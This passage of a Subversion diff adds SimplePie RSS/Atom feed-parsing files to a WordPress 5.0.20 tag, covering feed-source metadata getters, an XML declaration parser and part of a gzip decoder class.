+			}
+			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data']))
+			{
+				$email = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $uri !== null)
+			{
+				$authors[] = $this->registry->create('Author', array($name, $uri, $email));
+			}
+		}
+		if ($author = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'author'))
+		{
+			$name = null;
+			$url = null;
+			$email = null;
+			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data']))
+			{
+				$name = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data']))
+			{
+				$url = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]));
+			}
+			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data']))
+			{
+				$email = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $url !== null)
+			{
+				$authors[] = $this->registry->create('Author', array($name, $url, $email));
+			}
+		}
+		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'creator') as $author)
+		{
+			$authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
+		}
+		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'creator') as $author)
+		{
+			$authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
+		}
+		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'author') as $author)
+		{
+			$authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
+		}
+
+		if (!empty($authors))
+		{
+			return array_unique($authors);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	public function get_contributor($key = 0)
+	{
+		$contributors = $this->get_contributors();
+		if (isset($contributors[$key]))
+		{
+			return $contributors[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	public function get_contributors()
+	{
+		$contributors = array();
+		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'contributor') as $contributor)
+		{
+			$name = null;
+			$uri = null;
+			$email = null;
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data']))
+			{
+				$name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data']))
+			{
+				$uri = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]));
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data']))
+			{
+				$email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $uri !== null)
+			{
+				$contributors[] = $this->registry->create('Author', array($name, $uri, $email));
+			}
+		}
+		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'contributor') as $contributor)
+		{
+			$name = null;
+			$url = null;
+			$email = null;
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data']))
+			{
+				$name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data']))
+			{
+				$url = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]));
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data']))
+			{
+				$email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $url !== null)
+			{
+				$contributors[] = $this->registry->create('Author', array($name, $url, $email));
+			}
+		}
+
+		if (!empty($contributors))
+		{
+			return array_unique($contributors);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	public function get_link($key = 0, $rel = 'alternate')
+	{
+		$links = $this->get_links($rel);
+		if (isset($links[$key]))
+		{
+			return $links[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Added for parity between the parent-level and the item/entry-level.
+	 */
+	public function get_permalink()
+	{
+		return $this->get_link(0);
+	}
+
+	public function get_links($rel = 'alternate')
+	{
+		if (!isset($this->data['links']))
+		{
+			$this->data['links'] = array();
+			if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'link'))
+			{
+				foreach ($links as $link)
+				{
+					if (isset($link['attribs']['']['href']))
+					{
+						$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
+						$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
+					}
+				}
+			}
+			if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'link'))
+			{
+				foreach ($links as $link)
+				{
+					if (isset($link['attribs']['']['href']))
+					{
+						$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
+						$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
+
+					}
+				}
+			}
+			if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'link'))
+			{
+				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+			}
+			if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'link'))
+			{
+				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+			}
+			if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'link'))
+			{
+				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+			}
+
+			$keys = array_keys($this->data['links']);
+			foreach ($keys as $key)
+			{
+				if ($this->registry->call('Misc', 'is_isegment_nz_nc', array($key)))
+				{
+					if (isset($this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]))
+					{
+						$this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]);
+						$this->data['links'][$key] =& $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key];
+					}
+					else
+					{
+						$this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] =& $this->data['links'][$key];
+					}
+				}
+				elseif (substr($key, 0, 41) === SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY)
+				{
+					$this->data['links'][substr($key, 41)] =& $this->data['links'][$key];
+				}
+				$this->data['links'][$key] = array_unique($this->data['links'][$key]);
+			}
+		}
+
+		if (isset($this->data['links'][$rel]))
+		{
+			return $this->data['links'][$rel];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	public function get_description()
+	{
+		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'subtitle'))
+		{
+			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'tagline'))
+		{
+			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'summary'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'subtitle'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0]));
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	public function get_copyright()
+	{
+		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'rights'))
+		{
+			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'copyright'))
+		{
+			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'copyright'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'rights'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'rights'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	public function get_language()
+	{
+		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'language'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'language'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'language'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif (isset($this->data['xml_lang']))
+		{
+			return $this->sanitize($this->data['xml_lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	public function get_latitude()
+	{
+		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lat'))
+		{
+			return (float) $return[0]['data'];
+		}
+		elseif (($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match))
+		{
+			return (float) $match[1];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	public function get_longitude()
+	{
+		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'long'))
+		{
+			return (float) $return[0]['data'];
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lon'))
+		{
+			return (float) $return[0]['data'];
+		}
+		elseif (($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match))
+		{
+			return (float) $match[2];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	public function get_image_url()
+	{
+		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'image'))
+		{
+			return $this->sanitize($return[0]['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI);
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'logo'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'icon'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		else
+		{
+			return null;
+		}
+	}
+}
+
Index: /tags/5.0.20/src/wp-includes/SimplePie/XML/Declaration/Parser.php
===================================================================
--- /tags/5.0.20/src/wp-includes/SimplePie/XML/Declaration/Parser.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/SimplePie/XML/Declaration/Parser.php	(revision 56912)
@@ -0,0 +1,362 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+
+/**
+ * Parses the XML Declaration
+ *
+ * @package SimplePie
+ * @subpackage Parsing
+ */
+class SimplePie_XML_Declaration_Parser
+{
+	/**
+	 * XML Version
+	 *
+	 * @access public
+	 * @var string
+	 */
+	var $version = '1.0';
+
+	/**
+	 * Encoding
+	 *
+	 * @access public
+	 * @var string
+	 */
+	var $encoding = 'UTF-8';
+
+	/**
+	 * Standalone
+	 *
+	 * @access public
+	 * @var bool
+	 */
+	var $standalone = false;
+
+	/**
+	 * Current state of the state machine
+	 *
+	 * @access private
+	 * @var string
+	 */
+	var $state = 'before_version_name';
+
+	/**
+	 * Input data
+	 *
+	 * @access private
+	 * @var string
+	 */
+	var $data = '';
+
+	/**
+	 * Input data length (to avoid calling strlen() everytime this is needed)
+	 *
+	 * @access private
+	 * @var int
+	 */
+	var $data_length = 0;
+
+	/**
+	 * Current position of the pointer
+	 *
+	 * @var int
+	 * @access private
+	 */
+	var $position = 0;
+
+	/**
+	 * Create an instance of the class with the input data
+	 *
+	 * @access public
+	 * @param string $data Input data
+	 */
+	public function __construct($data)
+	{
+		$this->data = $data;
+		$this->data_length = strlen($this->data);
+	}
+
+	/**
+	 * Parse the input data
+	 *
+	 * @access public
+	 * @return bool true on success, false on failure
+	 */
+	public function parse()
+	{
+		while ($this->state && $this->state !== 'emit' && $this->has_data())
+		{
+			$state = $this->state;
+			$this->$state();
+		}
+		$this->data = '';
+		if ($this->state === 'emit')
+		{
+			return true;
+		}
+		else
+		{
+			$this->version = '';
+			$this->encoding = '';
+			$this->standalone = '';
+			return false;
+		}
+	}
+
+	/**
+	 * Check whether there is data beyond the pointer
+	 *
+	 * @access private
+	 * @return bool true if there is further data, false if not
+	 */
+	public function has_data()
+	{
+		return (bool) ($this->position < $this->data_length);
+	}
+
+	/**
+	 * Advance past any whitespace
+	 *
+	 * @return int Number of whitespace characters passed
+	 */
+	public function skip_whitespace()
+	{
+		$whitespace = strspn($this->data, "\x09\x0A\x0D\x20", $this->position);
+		$this->position += $whitespace;
+		return $whitespace;
+	}
+
+	/**
+	 * Read value
+	 */
+	public function get_value()
+	{
+		$quote = substr($this->data, $this->position, 1);
+		if ($quote === '"' || $quote === "'")
+		{
+			$this->position++;
+			$len = strcspn($this->data, $quote, $this->position);
+			if ($this->has_data())
+			{
+				$value = substr($this->data, $this->position, $len);
+				$this->position += $len + 1;
+				return $value;
+			}
+		}
+		return false;
+	}
+
+	public function before_version_name()
+	{
+		if ($this->skip_whitespace())
+		{
+			$this->state = 'version_name';
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+
+	public function version_name()
+	{
+		if (substr($this->data, $this->position, 7) === 'version')
+		{
+			$this->position += 7;
+			$this->skip_whitespace();
+			$this->state = 'version_equals';
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+
+	public function version_equals()
+	{
+		if (substr($this->data, $this->position, 1) === '=')
+		{
+			$this->position++;
+			$this->skip_whitespace();
+			$this->state = 'version_value';
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+
+	public function version_value()
+	{
+		if ($this->version = $this->get_value())
+		{
+			$this->skip_whitespace();
+			if ($this->has_data())
+			{
+				$this->state = 'encoding_name';
+			}
+			else
+			{
+				$this->state = 'emit';
+			}
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+
+	public function encoding_name()
+	{
+		if (substr($this->data, $this->position, 8) === 'encoding')
+		{
+			$this->position += 8;
+			$this->skip_whitespace();
+			$this->state = 'encoding_equals';
+		}
+		else
+		{
+			$this->state = 'standalone_name';
+		}
+	}
+
+	public function encoding_equals()
+	{
+		if (substr($this->data, $this->position, 1) === '=')
+		{
+			$this->position++;
+			$this->skip_whitespace();
+			$this->state = 'encoding_value';
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+
+	public function encoding_value()
+	{
+		if ($this->encoding = $this->get_value())
+		{
+			$this->skip_whitespace();
+			if ($this->has_data())
+			{
+				$this->state = 'standalone_name';
+			}
+			else
+			{
+				$this->state = 'emit';
+			}
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+
+	public function standalone_name()
+	{
+		if (substr($this->data, $this->position, 10) === 'standalone')
+		{
+			$this->position += 10;
+			$this->skip_whitespace();
+			$this->state = 'standalone_equals';
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+
+	public function standalone_equals()
+	{
+		if (substr($this->data, $this->position, 1) === '=')
+		{
+			$this->position++;
+			$this->skip_whitespace();
+			$this->state = 'standalone_value';
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+
+	public function standalone_value()
+	{
+		if ($standalone = $this->get_value())
+		{
+			switch ($standalone)
+			{
+				case 'yes':
+					$this->standalone = true;
+					break;
+
+				case 'no':
+					$this->standalone = false;
+					break;
+
+				default:
+					$this->state = false;
+					return;
+			}
+
+			$this->skip_whitespace();
+			if ($this->has_data())
+			{
+				$this->state = false;
+			}
+			else
+			{
+				$this->state = 'emit';
+			}
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+}
Index: /tags/5.0.20/src/wp-includes/SimplePie/gzdecode.php
===================================================================
--- /tags/5.0.20/src/wp-includes/SimplePie/gzdecode.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/SimplePie/gzdecode.php	(revision 56912)
@@ -0,0 +1,371 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+
+/**
+ * Decode 'gzip' encoded HTTP data
+ *
+ * @package SimplePie
+ * @subpackage HTTP
+ * @link http://www.gzip.org/format.txt
+ */
+class SimplePie_gzdecode
+{
+	/**
+	 * Compressed data
+	 *
+	 * @access private
+	 * @var string
+	 * @see gzdecode::$data
+	 */
+	var $compressed_data;
+
+	/**
+	 * Size of compressed data
+	 *
+	 * @access private
+	 * @var int
+	 */
+	var $compressed_size;
+
+	/**
+	 * Minimum size of a valid gzip string
+	 *
+	 * @access private
+	 * @var int
+	 */
+	var $min_compressed_size = 18;
+
+	/**
+	 * Current position of pointer
+	 *
+	 * @access private
+	 * @var int
+	 */
+	var $position = 0;
+
+	/**
+	 * Flags (FLG)
+	 *
+	 * @access private
+	 * @var int
+	 */
+	var $flags;
+
+	/**
+	 * Uncompressed data
+	 *
+	 * @access public
+	 * @see gzdecode::$compressed_data
+	 * @var string
+	 */
+	var $data;
+
+	/**
+	 * Modified time
+	 *
+	 * @access public
+	 * @var int
+	 */
+	var $MTIME;
+
+	/**
+	 * Extra Flags
+	 *
+	 * @access public
+	 * @var int
+	 */
+	var $XFL;
+
+	/**
+	 * Operating System
+	 *
+	 * @access public
+	 * @var int
+	 */
+	var $OS;
+
+	/**
+	 * Subfield ID 1
+	 *
+	 * @access public
+	 * @see gzdecode::$extra_field
+	 * @see gzdecode::$SI2
+	 * @var string
+	 */
+	var $SI1;
+
+	/**
+	 * Subfield ID 2
+	 *
+	 * @access public
+	 * @see gzdecode::$extra_field
+	 * @see gzdecode::$SI1
+	 * @var string
+	 */
+	var $SI2;
+
+	/**
+	 * Extra field content
+	 *
+	 * @access public
+	 * @see gzdecode::$SI1
+	 * @see gzdecode::$SI2
+	 * @var string
+	 */
+	var $extra_field;
+
+	/**
+	 * Original filename
+	 *
+	 * @access public
+	 * @var string
+	 */
+	var $filename;
+
+	/**
+	 * Human readable comment
+	 *
+	 * @access public
+	 * @var string
+	 */
+	var $comment;
+
+	/**
+	 * Don't allow anything to be set
+	 *
+	 * @param string $name
+	 * @param mixed $value
+	 */
+	public function __set($name, $value)
+	{
+		trigger_error("Cannot write property $name", E_USER_ERROR);
+	}
+
+	/**
+	 * Set the compressed string and related properties
+	 *
+	 * @param string $data
+	 */
+	public function __construct($data)
+	{
+		$this->compressed_data = $data;
+		$this->compressed_size = strlen($data);
+	}
+
+	/**
+	 * Decode the GZIP stream
+	 *
+	 * @return bool Successfulness
+	 */
+	public function parse()
+	{
+		if ($this->compressed_size >= $this->min_compressed_size)
+		{
+			// Check ID1, ID2, and CM
+			if (substr($this->compressed_data, 0, 3) !== "\x1F\x8B\x08")
+			{
+				return false;
+			}
+
+			// Get the FLG (FLaGs)
+			$this->flags = ord($this->compressed_data[3]);
+
+			// FLG bits above (1 << 4) are reserved
+			if ($this->flags > 0x1F)
+			{
+				return false;
+			}
+
+			// Advance the pointer after the above
+			$this->position += 4;
+
+			// MTIME
+			$mtime = substr($this->compressed_data, $this->position, 4);
+			// Reverse the string if we're on a big-endian arch because l is the only signed long and is machine endianness
+			if (current(unpack('S', "\x00\x01")) === 1)
+			{
+				$mtime = strrev($mtime);
+			}
+			$this->MTIME = current(unpack('l', $mtime));
+			$this->position += 4;
+
+			// Get the XFL (eXtra FLags)
+			$this->XFL = ord($this->compressed_data[$this->position++]);
+
+			// Get the OS (Operating System)
+			$this->OS = ord($this->compressed_data[$this->position++]);
+
+			// Parse the FEXTRA
+			if ($this->flags & 4)
+			{
+				// Read subfield IDs
+				$this->SI1 = $this->compressed_data[$this->position++];
+				$this->SI2 = $this->compressed_data[$this->position++];
+
+				// SI2 set to zero is reserved for future use
+				if ($this->SI2 === "\x00")
+				{
+					return false;
+				}
+
+				// Get the length of the extra field
+				$len = current(unpack('v', substr($this->compressed_data, $this->position, 2)));
+				$this->position += 2;
+
+				// Check the length of the string is still valid
+				$this->min_compressed_size += $len + 4;
+				if ($this->compressed_size >= $this->min_compressed_size)
+				{
+					// Set the extra field to the given data
+					$this->extra_field = substr($this->compressed_data, $this->position, $len);
+					$this->position += $len;
+				}
+				else
+				{
+					return false;
+				}
+			}
+
+			// Parse the FNAME
+			if ($this->flags & 8)
+			{
+				// Get the length of the filename
+				$len = strcspn($this->compressed_data, "\x00", $this->position);
+
+				// Check the length of the string is still valid
+				$this->min_compressed_size += $len + 1;
+				if ($this->compressed_size >= $this->min_compressed_size)
+				{
+					// Set the original filename to the given string
+					$this->filename = substr($this->compressed_data, $this->position, $len);
+					$this->position += $len + 1;
+				}
+				else
+				{
+					return false;
+				}
+			}
+
+			// Parse the FCOMMENT
+			if ($this->flags & 16)
+			{
+				// Get the length of the comment
+				$len = strcspn($this->compressed_data, "\x00", $this->position);
+
+				// Check the length of the string is still valid
+				$this->min_compressed_size += $len + 1;
+				if ($this->compressed_size >= $this->min_compressed_size)
+				{
+					// Set the original comment to the given string
+					$this->comment = substr($this->compressed_data, $this->position, $len);
+					$this->position += $len + 1;
+				}
+				else
+				{
+					return false;
+				}
+			}
+
+			// Parse the FHCRC
+			if ($this->flags & 2)
+			{
+				// Check the length of the string is still valid
